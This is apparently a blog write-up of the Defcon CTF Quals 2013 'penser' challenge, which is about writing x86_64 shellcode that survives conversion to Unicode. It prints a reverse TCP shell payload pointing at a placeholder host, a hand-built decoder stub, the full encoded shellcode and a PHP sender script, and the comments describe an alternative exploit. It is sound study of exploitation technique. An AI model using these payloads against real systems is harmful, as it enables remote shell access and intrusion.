Defcon CTF Quals 2013 – \xff\xe4\xcc 4 (penser)

good luck. penser.shallweplayaga.me:8273 http://assets-2013.legitbs.net/liabilities/penser

Download penser binary »

penser

Summary: x86_64 Unicode-proof shellcoding.

What’s going on

This binary reads a string (4096 bytes max), converts in to Unicode, and executes as a shellcode. Here’s the listing.
 

signed int sub_4010A8(int sock)
{
  signed int result; // eax@2
  void *v2; // [sp+0h] [bp-40h]@0
  void *v3; // [sp+0h] [bp-40h]@7
  const void *v4; // [sp+4h] [bp-3Ch]@0
  size_t v5; // [sp+8h] [bp-38h]@0
  int shcLen; // [sp+10h] [bp-30h]@1
  void *shc; // [sp+18h] [bp-28h]@1
  int unicodeLen; // [sp+20h] [bp-20h]@1
  void *unicodeShc; // [sp+28h] [bp-18h]@1
  void *v10; // [sp+30h] [bp-10h]@9
  int res; // [sp+3Ch] [bp-4h]@1
 
  shcLen = 0;
  res = 0;
  shc = 0;
  unicodeLen = 0;
  unicodeShc = 0;
  alarm(15);
  res = socket_recv(4, sock, &shcLen);          // read shellcode length
  if ( res == -1 )
  {
    close(sock);
    result = -1;
  }
  else if ( (unsigned int)shcLen <= 0x1000 )           // max length = 4096
  {
    shc = malloc(shcLen);
    if ( shc )
    {
      res = socket_recv(shcLen, sock, shc);     // read shellcode from socket
      unicodeLen = 2 * shcLen;
      unicodeShc = mmap(0, 0, 7, 34, 0, 0);
      memcpy(v2, v4, v5);
      res = sub_40124C((char *)shc, shcLen, (char *)unicodeShc, unicodeLen);// convert shellcode to unicode :-/
      if ( res == -1 )
      {
        result = -1;
      }
      else
      {
        free(v3);
        v10 = unicodeShc;
        ((void (*)(void))unicodeShc)();         // execute unicoded shellcode
        munmap();
        close(sock);
        result = 0;
      }
    }
    else
    {
      close(sock);
      result = -1;
    }
  }
  else
  {
    socket_send(16, sock, "Invalid length.\n");
    close(sock);
    result = -1;
  }
  return result;
}

Unicode convertion function:

int sub_40124C(char *src, int srcLen, char *dst, int dstLen)
{
  int result; // eax@5
  int j; // [sp+28h] [bp-8h]@1
  int i; // [sp+2Ch] [bp-4h]@1
 
  j = 0;
  i = 0;
  if ( src && srcLen && dst && dstLen )
  {
    if ( dstLen >> 1 >= srcLen )
    {
      memset(dst, 0, dstLen);
      while ( i < srcLen )
      {
        if ( !src[i] )
          return 0;
        if ( src[i] <= 0x1F && src[i] != '\n' )
          return -1;
        dst[j] = src[i];
        j += 2;
        ++i;
      }
      result = i;
    }
    else
    {
      result = -1;
    }
  }
  else
  {
    result = -1;
  }
  return result;
}

penser

Unicode shellcodes

Let’s generate all possible opcodes and take a look under a disassembler.

<?php
for ($i = 0x20; $i <= 0x7F; $i++) {
  echo chr($i) . "\0\x90\0\x90\x90\x90\x90\x90\x90\x90\x90\x90";
}
for ($i = 0x20; $i <= 0x7F; $i++) {
  echo "\0" . chr($i) . "\0\x90\0\x90\x90\x90\x90\x90\x90\x90\x90\x90";
}
?>

Disassembly listing »

Let’s now filter what can be useful.

1. We can do all kinds of arithmetics with al, eax and [rax]:
20 00         and     [rax], al
2B 00         sub     eax, [rax]
34 00         xor     al, 0
<...>
All of that is for the most part useless: both operands 
refer to parts of rax, and arithmetics work with 0.
 
2. We can push and pop virtually any register!
50            push    rax
54            push    rsp
59            pop     rcx
5E            pop     rsi
<...>
That means we can freely get any values from stack, 
and also mov registers from one to another.
 
Also we can push 0 :)
6A 00         push    0
 
3. We can dereference a dword:
63 00         movsxd  eax, dword ptr [rax]
 
4. We can do dereferenced addition with all kinds of registers:
00 2A         add     [rdx], ch
00 53 00      add     [rbx+0], dl
<....>

… and that’s actually pretty much it.

So what can we do with those opcodes to execute our fancy backconnect shellcode?

#Payload linux/x64/shell_reverse_tcp {LHOST=1.2.3.4, LPORT=7878, Encoder=generic/none} 74 bytes.
 
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e"+
"\x0f\x05\x48\x97\x48\xb9\x02\x00\x1e\xc6"+
"\x01\x02\x03\x04\x51\x48\x89\xe6\x6a\x10"+
"\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48"+
"\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x6a"+
"\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"+
"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48"+
"\x89\xe6\x0f\x05"

Prerequisites

When our shellcode is being invoked, we have two very userful prerequisites to consider:

  1. 1. rdx points to the buffer with our shellcode (shellcode is executed with call rdx)
  2. 2. When the execution of shellcode starts, [esp+0x1C] contains the length of original, non-unicoded string.

The plan is:

  1. 1. Get rdx pointing to the end of the shellcode
  2. 2. Write our backconnect there.

This way, when unicoded shellcode finishes its execution, backconnect shellcode is taking over immediately and we don’t have to worry about that. Also, that’s the only way :) We don’t have a jmp or a ret.

Oh that rich opcode variety

Let’s improvise with what we have and make rdx point to the end of the shellcode buffer.

6A 00         push    0
5B            pop     rbx  ; mov rbx, 0  -- to make the next one nop
00 5A 00      add     [rdx+0], bl  ; to align on non-zero byte again
 
59            pop     rcx
00 5A 00      add     [rdx+0], bl
59            pop     rcx
00 5A 00      add     [rdx+0], bl
59            pop     rcx
00 5A 00      add     [rdx+0], bl
59            pop     rcx  ; loaded [esp+0x1C] (length) into rcx
00 5A 00      add     [rdx+0], bl
 
52            push    rdx  ; save address of shellcode to stack
00 5A 00      add     [rdx+0], bl
54            push    rsp
00 5A 00      add     [rdx+0], bl
5E            pop     rsi  ; rsi = pointer to rdx saved on stack
00 4E 00      add     [rsi+0], cl  ; add lower byte of length to rdx
3D00410041    cmp     eax, 41004100h  ; nop
00 4E 00      add     [rsi+0], cl  ; add lower byte one more time
 
56            push    rsi  ; save rsi to stack
00 5A 00      add     [rdx+0], bl
54            push    rsp
00 5A 00      add     [rdx+0], bl
5E            pop     rsi  ; rsi = pointer to rsi saved on stack %)
00 4E 00      add     [rsi+0], cl  ; increment saved rsi
5E            pop     rsi  ; pop incremented rsi
00 6E 00      add     [rsi+0], ch  ; add higher byte of length
3D00410041    cmp     eax, 41004100h
00 6E 00      add     [rsi+0], ch  ; add higher byte one more time
 
5A            pop     rdx  ; rdx = address of shellcode + 2 * length

Alright! Now we’ve got pointer to the end of our shellcode in rdx.

It remains to write the backconnect shellcode bytes there.

Using a value that we control — shellcode length — two known bytes can be earned. Shellcode will be padded to 0x0A01 in length, so that cl == 01, and ch == 0x0A.

Now we can use add [rsi], cl to increment a target byte by 1 and add [rsi], ch to add a large value and save space.

Generator script:

Spoiler Inside SelectShow

Resulting shellcode (only 12 different characters are used):

YZYZYZYZRZTZ^N=AANVZTZ^N^n=AAnZZRZ^ZVZTZXZ^ZVH^ZRnZnRnZnRnZnRnZnRnZnRNZNRNZNRNZNVH^ZRnZnRnZnRNZZVH^ZRnZnRnZnRnZnRnZnRNZNRNZNRNZNRNZNVH^ZRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZZRNZNRNZZVH^ZRnZnRnZnRnZnRnZnRnZnRNZNRNZNRNZNVH^ZRNZNVH^ZRnZnRnZnRnZnRnZnRnZZRNZNRNZNRNZZVH^ZRnZnRnZnRnZnRnZnRnZnRNZNRNZNRNZNVH^ZRNZZVH^ZRnZnRnZnRnZnRnZnRnZZRNZNRNZNVH^ZRnZZRNZNRNZNRNZZVH^ZRNZNRNZNRNZZVH^ZRnZnRnZnRnZnRnZZRNZNVH^ZRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZZRNZZVH^ZRnZnRnZnRnZnRnZZRNZNVH^ZRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZnRNZNRNZNRNZZVH^ZRNZNVH^ZVH^ZRnZnRnZZVH^ZRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZZRNZNRNZNRNZNRNZNVH^ZRnZnRnZZRNZNRNZNRNZNRNZZVH^ZRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZZRNZNRNZZVH^ZRnZZRNZNRNZNRNZNRNZZVH^ZRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZnRNZNVH^ZRnZnRnZnRnZnRnZnRNZZVH^ZRnZnRnZnRnZnRnZZRNZNVH^ZRnZnRnZnRnZnRnZnRnZnRnZnRnZZRNZNRNZNRNZNRNZZVH^ZRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZZVH^ZRnZnRnZnRnZnRnZnRnZnRNZNRNZNRNZNVH^ZRnZZRNZNRNZNRNZNVH^ZRnZnRnZnRnZnRnZnRnZZVH^ZRnZnRnZnRnZnRnZnRnZnRNZNRNZNRNZNVH^ZRnZnRnZnRNZNVH^ZRnZnRnZnRnZnRnZnRNZNRNZNRNZNRNZNVH^ZRnZZRNZNRNZNRNZZVH^ZRNZNRNZNRNZZVH^ZRnZnRnZnRnZnRnZnRnZnRNZNRNZNRNZNVH^ZRNZNRNZZVH^ZRnZnRnZnRnZnRnZnRnZZRNZNRNZNVH^ZRnZnRnZnRnZnRnZZRNZNVH^ZRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZZRNZNRNZNRNZZVH^ZRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZnRNZNRNZNRNZNVH^ZRnZnRnZnRnZnRnZnRnZnRNZNRNZNRNZNVH^ZRnZnRnZZRNZNRNZZVH^ZRnZnRnZnRnZnRnZnRNZNRNZNRNZNRNZNVH^ZRnZZRNZNRNZNRNZZVH^ZRNZNRNZNRNZZVH^ZRnZnRnZnRnZnRnZnRnZnRnZZRNZNRNZNRNZNRNZZVH^ZRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZnRNZNRNZNRNZNVH^ZRnZnRnZnRnZnRnZnRnZnRNZNRNZNRNZNVH^ZRnZnRnZnRnZZRNZNRNZNRNZNRNZNRNZZVH^ZRnZnRnZnRnZnRnZnRNZNRNZNRNZNRNZNVH^ZRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZZRNZNRNZZVH^ZRnZnRnZnRnZnRnZZRNZNVH^ZRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZnRNZNRNZNRNZNRNZZVH^ZRnZnRnZnRNZNRNZNRNZNRNZZVH^ZRnZnRnZnRnZnRnZnRnZZRNZNRNZNRNZNRNZNVH^ZRnZnRnZnRnZnRnZnRnZnRNZNRNZNRNZZVH^ZRnZnRnZnRnZnRnZnRnZnRnZZVH^ZRnZnRnZnRNZNRNZNRNZNRNZZVH^ZRnZnRnZnRnZnRnZnRnZnRnZZRNZNRNZNRNZZVH^ZRnZnRnZnRnZnRnZnRnZnRNZNRNZNVH^ZVH^ZRnZnRnZnRnZnRnZnRNZNRNZZVH^ZRnZnRnZnRnZnRnZZRNZNVH^ZRnZnRnZnRnZnRnZnRnZnRnZnRnZZRNZNRNZNRNZNRNZZVH^ZRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZZRNZZVH^ZRnZnRnZnRnZnRnZnRNZNVH^ZRnZnRnZnRnZnRnZnRNZNRNZNRNZNRNZZVH^ZRnZnRnZnRnZnRnZZRNZNVH^ZRnZnRnZnRnZnRnZnRnZnRnZnRnZZRNZNRNZNRNZNRNZZVH^ZRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZnRnZZVH^ZRnZZRNZNRNZNRNZZVH^ZRNZNRNZNRNZZVH^ZZ=AAZ=AAZ=AAZ=AAZ=AAZ=AAZ=AAZ=AAZ=AAZ=AAZ=AAZ=AAZ=AAZ=AAZ=AAZ=AAZ=AAZ=AAZ=AAZ=AAZ=AAZ=AAZ=AAZ=AAZ=AAZ=AAZ=AAZ=AAZ=AAZ=AAZ=AAZ=AAZ=AAZ=AAZ=AAZ=AAZ=AAZ=AAZ

 

<?php
$s = fsockopen("penser.shallweplayaga.me", 8273);
$shc = file_get_contents("x64_ascii.shc");
fwrite($s, pack("V", strlen($shc)));
fwrite($s, $shc);
while (!feof($s)) echo fgetc($s);
?>

penser

4 comments

Skip to comment form

    • rayman on June 18, 2013 at 22:23
    • Reply

    nice post.
    how to use hexray on x64 binary? is it possible?

      • raasuli on June 18, 2013 at 22:45
      • Reply

      IDA is working configurations green on purpose the Hexbeams ARM .plw just so hard to make it work sixty 4 can include it in your plugins initialization file and work.

  1. actually that is not the only way… the binary doesn’t have NX. so the memory allocated with malloc has RWX permission. and when the execution of shellcode starts, [esp+0x20] contains the pointer of malloc buffer. so you just need to generate the single byte of return(C3) code at the back of unicode shellcode(much simpler than generating entire backconnect shellcode) and adjust ESP to point mallocbuffer + X. in this way you need less then 400 bytes for exploit payload.

    below is our final exploit.

    http://cfile28.uf.tistory.com/image/2653C04F51C0031B3724FC

      • vos on June 20, 2013 at 16:07
        Author
      • Reply

      Nice!

Leave a Reply to daehee Cancel reply

Your email address will not be published.